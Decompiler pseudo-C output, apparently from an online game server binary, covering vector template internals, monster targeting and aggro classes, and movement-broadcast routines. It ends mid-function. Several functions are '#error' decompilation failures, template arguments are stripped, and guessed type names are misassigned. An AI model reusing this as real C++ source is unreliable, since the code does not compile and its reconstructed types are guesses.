std::_Uninit_fill_n>(TickTimer *_First, unsigned int _Count, TickTimer *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 TickTimer *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { v6->m_CurDelayTime = _Val->m_CurDelayTime; v6->m_DelayTime = _Val->m_DelayTime; *(_DWORD *)&v6->m_bEnable = *(_DWORD *)&_Val->m_bEnable; } ++v6; --v5; } while ( v5 ); } } //----- (004A80C0) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, Navigator::NaviPoint *_First, Navigator::NaviPoint *_Last) { Navigator::NaviPoint *i; // esi@1 for ( i = _First; i != _Last; ++i ) ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)i); } //----- (004A80F0) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 Navigator::NaviPoint *v2; // esi@1 Navigator::NaviPoint *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (004A8140) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 GroupExpDistribute::NearFriendInformation *v6; // eax@2 Navigator::NaviPoint *v7; // ebx@2 Navigator::NaviPoint *v8; // edi@2 DiceTaiSaiDividind *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(GroupExpDistribute::NearFriendInformation **)&_Last, (GroupExpDistribute::NearFriendInformation *)v4->_Mylast, *(GroupExpDistribute::NearFriendInformation **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = (Navigator::NaviPoint *)v6; for ( i = (DiceTaiSaiDividind *)v6; (Navigator::NaviPoint *)i != v7; i = (DiceTaiSaiDividind *)((char *)i + 12) ) ShineObjectClass::ShineMobileObject::smo_ChineCastCut(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (004A81A0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004A8210) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, Navigator::NaviPoint *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 unsigned int v6; // edx@1 int v7; // eax@1 Navigator::NaviPoint *v8; // ebx@1 unsigned int v9; // ecx@1 signed int v10; // edx@2 unsigned int v11; // edi@3 int v12; // eax@5 int v13; // eax@10 int v14; // ecx@14 int v15; // eax@17 void *v16; // eax@21 void *v17; // ebx@21 TickTimer *v18; // ST18_4@21 int v19; // eax@21 int v20; // edi@23 Navigator::NaviPoint *v21; // eax@23 TickTimer *v22; // ecx@26 std::vector >::iterator v23; // ebx@26 Navigator::NaviPoint *v24; // ecx@27 TickTimer *v25; // ST24_4@27 unsigned int v26; // edi@27 int v27; // [sp+0h] [bp-30h]@1 unsigned int _Tmp; // [sp+Ch] [bp-24h]@1 unsigned int v29; // [sp+10h] [bp-20h]@1 int v30; // [sp+14h] [bp-1Ch]@1 void *_Newvec; // [sp+18h] [bp-18h]@21 std::vector > *thisa; // [sp+1Ch] [bp-14h]@1 int *v33; // [sp+20h] [bp-10h]@1 int v34; // [sp+2Ch] [bp-4h]@1 TickTimer *_Wherea; // [sp+38h] [bp+8h]@28 TickTimer *_Ptr; // [sp+3Ch] [bp+Ch]@21 int _Vala; // [sp+40h] [bp+10h]@21 TickTimer *_Valb; // [sp+40h] [bp+10h]@26 v4 = this; v5 = _Val->np_RealX; v6 = _Val->np_RealY; v7 = *(_DWORD *)&_Val->np_IsDeleted; v33 = &v27; thisa = v4; _Tmp = v5; v29 = v6; v30 = v7; v8 = v4->_Myfirst; v9 = 0; v34 = 0; if ( v8 ) { v10 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v8)) >> 32) >> 1; v9 = v10 + ((unsigned int)v10 >> 31); } v11 = _Count; if ( _Count ) { if ( v8 ) v12 = v4->_Mylast - v8; else v12 = 0; if ( 357913941 - v12 < _Count ) std::vector>::_Xlen(v4); if ( v8 ) v13 = v4->_Mylast - v8; else v13 = 0; if ( v9 >= _Count + v13 ) { v22 = (TickTimer *)v4->_Mylast; v23 = _Where; _Valb = (TickTimer *)v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v22[-_Count]; v4->_Mylast = (Navigator::NaviPoint *)std::_Uninit_copy>( &v22[-_Count], v22, v22, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v22 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v23, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v23, (TickTimer *)(*(_DWORD *)&v23 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>( *(TickTimer **)&_Where, v22, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v24 = v4->_Mylast; v25 = (TickTimer *)v4->_Mylast; LOBYTE(v34) = 3; std::vector>::_Ufill( (std::vector > *)v4, v25, _Count - (signed int)((char *)v24 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v26 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (Navigator::NaviPoint *)v26; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v26 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v9 >> 1) >= v9 ) v14 = (v9 >> 1) + v9; else v14 = 0; if ( v8 ) v15 = v4->_Mylast - v8; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 12 * v14; v16 = operator new(12 * v14); v17 = v16; v18 = (TickTimer *)v4->_Myfirst; _Newvec = v16; LOBYTE(v34) = 1; _Ptr = std::_Uninit_copy>( v18, *(TickTimer **)&_Where, (TickTimer *)v16, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v11, (TickTimer *)&_Tmp, (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(TickTimer **)&_Where, (TickTimer *)v4->_Mylast, &_Ptr[v11], (std::allocator *)v4, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v19 = (int)v4->_Myfirst; v34 = 0; if ( v19 ) v19 = (signed int)((char *)v4->_Mylast - v19) / 12; v20 = v19 + v11; v21 = v4->_Myfirst; if ( v21 ) { std::vector>::_Destroy(v4, v21, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (Navigator::NaviPoint *)((char *)v17 + _Vala); v4->_Mylast = (Navigator::NaviPoint *)((char *)v17 + 12 * v20); v4->_Myfirst = (Navigator::NaviPoint *)v17; } } v34 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&_Tmp); } //----- (004A8520) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Navigator::UnitPoint *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::vector >::iterator v8; // ST04_4@7 std::vector >::iterator v9; // ST00_4@7 Navigator::UnitPoint *v10; // eax@7 int v11; // [sp+0h] [bp-20h]@1 void *_Ptr; // [sp+Ch] [bp-14h]@7 int *v13; // [sp+10h] [bp-10h]@1 int v14; // [sp+1Ch] [bp-4h]@7 unsigned int _Counta; // [sp+28h] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x1FFFFFFF ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 8 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::vector >::iterator)v2->_Mylast; v9 = (std::vector >::iterator)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v9, v8, (SHINE_XY_TYPE *)v6, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (Navigator::UnitPoint *)((char *)v7 + _Counta); v2->_Mylast = (Navigator::UnitPoint *)((char *)v7 + 8 * v4); v2->_Myfirst = (Navigator::UnitPoint *)v7; } } //----- (004A85DA) -------------------------------------------------------- void __usercall _L184816(int a1) { operator delete(*(void **)(a1 - 20)); _CxxThrowException(0, 0); } //----- (004A85F0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Navigator::NaviPoint *v3; // eax@3 unsigned int v4; // ebx@6 TickTimer *v5; // ST04_4@6 TickTimer *v6; // ST00_4@6 Navigator::NaviPoint *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > 0x15555555 ) std::vector>::_Xlen(this); v3 = this->_Myfirst; if ( v3 ) v3 = (Navigator::NaviPoint *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 12 * _Count; _Ptr = operator new(12 * _Count); v5 = (TickTimer *)v2->_Mylast; v6 = (TickTimer *)v2->_Myfirst; v12 = 0; std::_Uninit_copy>( v6, v5, (TickTimer *)_Ptr, (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; v12 = -1; if ( v7 ) { v9 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 1; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { std::vector>::_Destroy(v2, v7, v2->_Mylast); operator delete(v2->_Myfirst); } v2->_Myend = (Navigator::NaviPoint *)((char *)_Ptr + v4); v2->_Mylast = (Navigator::NaviPoint *)((char *)_Ptr + 12 * v8); v2->_Myfirst = (Navigator::NaviPoint *)_Ptr; } } //----- (004A86DB) -------------------------------------------------------- void __usercall _L184936(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (004A8700) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, Navigator::NaviPoint _Val) { Navigator::NaviPoint *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&_Val); } //----- (004A87D0) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x15555555 ) std::vector>::_Xlen(this); v4 = operator new(12 * _Capacity); v2->_Myend = (Navigator::NaviPoint *)((char *)v4 + 12 * _Capacity); v2->_Myfirst = (Navigator::NaviPoint *)v4; v2->_Mylast = (Navigator::NaviPoint *)v4; result = 1; } else { result = 0; } return result; } //----- (004A8820) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize) { std::vector > *v2; // esi@1 int v3; // eax@1 _BYTE v4[12]; // ST04_12@1 Navigator::NaviPoint thisa; // [sp+4h] [bp-18h]@1 int v6; // [sp+18h] [bp-4h]@1 v2 = this; Navigator::NaviPoint::NaviPoint(&thisa); *(_QWORD *)v4 = *(_QWORD *)v3; *(_DWORD *)&v4[8] = *(_DWORD *)(v3 + 8); v6 = 0; std::vector>::resize( v2, _Newsize, *(Navigator::NaviPoint *)v4); v6 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); } //----- (004A8890) -------------------------------------------------------- void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; std::vector>::reserve(&this->baseclass_0, maxsize); } //----- (004A88E0) -------------------------------------------------------- void __thiscall StaticVector::StaticVector(StaticVector *this, int maxsize) { this->baseclass_0._Myfirst = 0; this->baseclass_0._Mylast = 0; this->baseclass_0._Myend = 0; std::vector>::reserve(&this->baseclass_0, maxsize); } //----- (004A8930) -------------------------------------------------------- #error "4A8930: undefined or illegal type '#615' (funcsize=574)" //----- (004A90E0) -------------------------------------------------------- void __thiscall MobTargetBout::MobTargetBout(MobTargetBout *this) { MobTargetBout *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0); v1->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetBout::_vftable_; v1->mtb_targetlist = 0; } // 64DC68: using guessed type int (__stdcall *MobTargetBout___vftable_)(int type, int slot, int distancesquar); //----- (004A9100) -------------------------------------------------------- void __thiscall MobTargetAggresive::MobTargetAggresive(MobTargetAggresive *this) { MobTargetAggresive *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0.baseclass_0); v1->baseclass_0.mtb_targetlist = 0; v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive::_vftable_; SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(&v1->mta_InstanceTarget.mts_EnemyAnalyzer); } // 64DCA8: using guessed type int (__thiscall *MobTargetAggresive___vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); //----- (004A9150) -------------------------------------------------------- void __thiscall MobTargetAggresive::_MobTargetAggresive(MobTargetAggresive *this) { MobTargetSelector *v1; // esi@1 v1 = (MobTargetSelector *)this; this->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive::_vftable_; SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(&this->mta_InstanceTarget.mts_EnemyAnalyzer); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetBout::_vftable_; MobTargetSelector::_MobTargetSelector(v1); } // 64DC68: using guessed type int (__stdcall *MobTargetBout___vftable_)(int type, int slot, int distancesquar); // 64DCA8: using guessed type int (__thiscall *MobTargetAggresive___vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); //----- (004A91B0) -------------------------------------------------------- void __thiscall MobTargetAggresive2::MobTargetAggresive2(MobTargetAggresive2 *this) { MobTargetAggresive2 *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0.baseclass_0.baseclass_0); v1->baseclass_0.baseclass_0.mtb_targetlist = 0; v1->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive::_vftable_; SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(&v1->baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); v1->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive2::_vftable_; } // 64DCA8: using guessed type int (__thiscall *MobTargetAggresive___vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); // 64DCF0: using guessed type int (__thiscall *MobTargetAggresive2___vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); //----- (004A9210) -------------------------------------------------------- void __thiscall MobTargetAggresive2::_MobTargetAggresive2(MobTargetAggresive2 *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetAggresive2::_vftable_; MobTargetAggresive::_MobTargetAggresive(&this->baseclass_0); } // 64DCF0: using guessed type int (__thiscall *MobTargetAggresive2___vftable_)(MobTargetAggresive *this, #593 *, #593 *, int distancesquar); //----- (004A9220) -------------------------------------------------------- void __thiscall MobTargetNoBrain::MobTargetNoBrain(MobTargetNoBrain *this) { MobTargetNoBrain *v1; // esi@1 v1 = this; MobTargetSelector::MobTargetSelector(&this->baseclass_0.baseclass_0); v1->baseclass_0.mtb_targetlist = 0; v1->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetNoBrain::_vftable_; } // 64DD34: using guessed type int (__stdcall *MobTargetNoBrain___vftable_)(int type, int slot, int distancesquar); //----- (004A9240) -------------------------------------------------------- void __thiscall MobTargetBout::_MobTargetBout(MobTargetNoBrain *this) { this->baseclass_0.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetBout::_vftable_; MobTargetSelector::_MobTargetSelector(&this->baseclass_0.baseclass_0); } // 64DC68: using guessed type int (__stdcall *MobTargetBout___vftable_)(int type, int slot, int distancesquar); //----- (004A9250) -------------------------------------------------------- #error "4A9250: undefined or illegal type '#593' (funcsize=32)" //----- (004A92B0) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)MobAggroManager::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 64DD70: using guessed type int (__stdcall *MobAggroManager___vftable_[3])(__int16 hnd); //----- (004A92D0) -------------------------------------------------------- void __thiscall MobAggroManager::_MobAggroManager(MobAggroManager *this) { MobAggroManager *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; _eh_vector_destructor_iterator_( this->mam_Array, 0x20u, 10, (void (__thiscall *)(void *))MobTargetEraser::_MobTargetEraser); v1->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 64DD70: using guessed type int (__stdcall *MobAggroManager___vftable_[3])(__int16 hnd); //----- (004A9340) -------------------------------------------------------- void *__thiscall MobTargetBout::_vector_deleting_destructor_(MobTargetNoBrain *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetBout::_MobTargetBout(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004A9360) -------------------------------------------------------- void *__thiscall MobTargetAggresive::_scalar_deleting_destructor_(MobTargetAggresive *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresive::_MobTargetAggresive(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004A9380) -------------------------------------------------------- void *__thiscall MobTargetAggresive2::_vector_deleting_destructor_(MobTargetAggresive2 *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetAggresive2::_MobTargetAggresive2(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004A93A0) -------------------------------------------------------- void __thiscall MobTargetBout::mts_SlayerList(MobTargetBout *this, PROTO_NC_BAT_MOBSLAYER_CMD *pack, unsigned __int16 mob) { List *v3; // ecx@1 int (__stdcall **sc)(int, __int16); // [sp+4h] [bp-14h]@1 PROTO_NC_BAT_MOBSLAYER_CMD *v5; // [sp+8h] [bp-10h]@1 int v6; // [sp+14h] [bp-4h]@1 v5 = pack; sc = &SlayerCollect::_vftable_; pack->number = 0; v5->killedmob = mob; v3 = (List *)this->mtb_targetlist; v6 = 0; List::l_4AllInList(v3, (ListIteratorDefault *)&sc); } // 64DD8C: using guessed type int (__stdcall *SlayerCollect___vftable_)(int ele, __int16 handle); //----- (004A9400) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004A9520) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, MobTargetStruct *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); MobTargetStruct::operator_(v3, (int)ele); return 1; } // 4A9535: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004A9550) -------------------------------------------------------- #error "4A9550: undefined or illegal type '#593' (funcsize=26)" //----- (004A95A0) -------------------------------------------------------- #error "4A95A0: undefined or illegal type '#593' (funcsize=40)" //----- (004A9610) -------------------------------------------------------- #error "4A9610: undefined or illegal type '#593' (funcsize=40)" //----- (004A9680) -------------------------------------------------------- void __thiscall MobAggroManager::MobAggroManager(MobAggroManager *this) { MobAggroManager *v1; // esi@1 ListStruct *v2; // eax@2 ListStruct *v3; // eax@5 ListStruct *v4; // eax@8 ListStruct *v5; // eax@11 ListStruct *v6; // eax@14 ListStruct *v7; // eax@17 ListStruct *v8; // eax@20 ListStruct *v9; // eax@23 ListStruct *v10; // eax@26 ListStruct *v11; // eax@29 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0xAu); v1->baseclass_0.vfptr = (ListVtbl *)MobAggroManager::_vftable_; _eh_vector_constructor_iterator_( v1->mam_Array, 0x20u, 10, (void (__thiscall *)(void *))MobTargetStruct::MobTargetStruct, (void (__thiscall *)(void *))MobTargetEraser::_MobTargetEraser); if ( v1->baseclass_0.l_MaxSize ) { v2 = v1->baseclass_0.l_Array; if ( !v2->ls_Content ) v2->ls_Content = v1->mam_Array; } if ( v1->baseclass_0.l_MaxSize > 1u ) { v3 = v1->baseclass_0.l_Array; if ( !v3[1].ls_Content ) v3[1].ls_Content = &v1->mam_Array[1]; } if ( v1->baseclass_0.l_MaxSize > 2u ) { v4 = v1->baseclass_0.l_Array; if ( !v4[2].ls_Content ) v4[2].ls_Content = &v1->mam_Array[2]; } if ( v1->baseclass_0.l_MaxSize > 3u ) { v5 = v1->baseclass_0.l_Array; if ( !v5[3].ls_Content ) v5[3].ls_Content = &v1->mam_Array[3]; } if ( v1->baseclass_0.l_MaxSize > 4u ) { v6 = v1->baseclass_0.l_Array; if ( !v6[4].ls_Content ) v6[4].ls_Content = &v1->mam_Array[4]; } if ( v1->baseclass_0.l_MaxSize > 5u ) { v7 = v1->baseclass_0.l_Array; if ( !v7[5].ls_Content ) v7[5].ls_Content = &v1->mam_Array[5]; } if ( v1->baseclass_0.l_MaxSize > 6u ) { v8 = v1->baseclass_0.l_Array; if ( !v8[6].ls_Content ) v8[6].ls_Content = &v1->mam_Array[6]; } if ( v1->baseclass_0.l_MaxSize > 7u ) { v9 = v1->baseclass_0.l_Array; if ( !v9[7].ls_Content ) v9[7].ls_Content = &v1->mam_Array[7]; } if ( v1->baseclass_0.l_MaxSize > 8u ) { v10 = v1->baseclass_0.l_Array; if ( !v10[8].ls_Content ) v10[8].ls_Content = &v1->mam_Array[8]; } if ( v1->baseclass_0.l_MaxSize > 9u ) { v11 = v1->baseclass_0.l_Array; if ( !v11[9].ls_Content ) v11[9].ls_Content = &v1->mam_Array[9]; } } // 64DD70: using guessed type int (__stdcall *MobAggroManager___vftable_[3])(__int16 hnd); //----- (004A97E0) -------------------------------------------------------- #error "4A97E0: undefined or illegal type '#615' (funcsize=67)" //----- (004A9890) -------------------------------------------------------- void __thiscall AxialListBriefExchangerAtMove::_AxialListBriefExchangerAtMove(AxialListBriefExchangerAtMove *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefExchangerAtMove::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 64DDBC: using guessed type int (__stdcall *AxialListBriefExchangerAtMove___vftable_)(#593 *myself, int, int distancesquar); //----- (004A98A0) -------------------------------------------------------- void __thiscall AxialListBriefDeleteAtMove::_AxialListBriefDeleteAtMove(AxialListBriefDeleteAtMove *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListBriefDeleteAtMove::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 64DDC0: using guessed type int (__stdcall *AxialListBriefDeleteAtMove___vftable_)(int, int, int distancesquar); //----- (004A98B0) -------------------------------------------------------- #error "4A98B0: undefined or illegal type '#615' (funcsize=85)" //----- (004A99D0) -------------------------------------------------------- #error "4A99D0: undefined or illegal type '#593' (funcsize=83)" //----- (004A9AC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange(void *this, int goal) { void *v2; // esi@1 int v3; // eax@1 int (__stdcall **briefexchanger)(#593 *, int, int); // [sp+8h] [bp-14h]@1 int v5; // [sp+Ch] [bp-10h]@1 int v6; // [sp+18h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&briefexchanger); briefexchanger = &AxialListBriefExchangerAtMove::_vftable_; v5 = goal; LOBYTE(v6) = 1; v3 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v3, goal, 0, 0, (int)&briefexchanger, 0, 65535); LOBYTE(v6) = 0; briefexchanger = &AxialListBriefExchangerAtMove::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&briefexchanger); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_NewObjBriefInfoChange"); } // 64DDBC: using guessed type int (__stdcall *AxialListBriefExchangerAtMove___vftable_)(#593 *myself, int, int distancesquar); //----- (004A9BB0) -------------------------------------------------------- #error "4A9BB0: undefined or illegal type '#593' (funcsize=72)" //----- (004A9C80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMobileObject::smo_OldObjectDelete(void *this, int from) { void *v2; // esi@1 int v3; // eax@1 int (__stdcall **briefdelete)(int, int, int); // [sp+8h] [bp-14h]@1 int v5; // [sp+Ch] [bp-10h]@1 int v6; // [sp+18h] [bp-4h]@1 v2 = this; 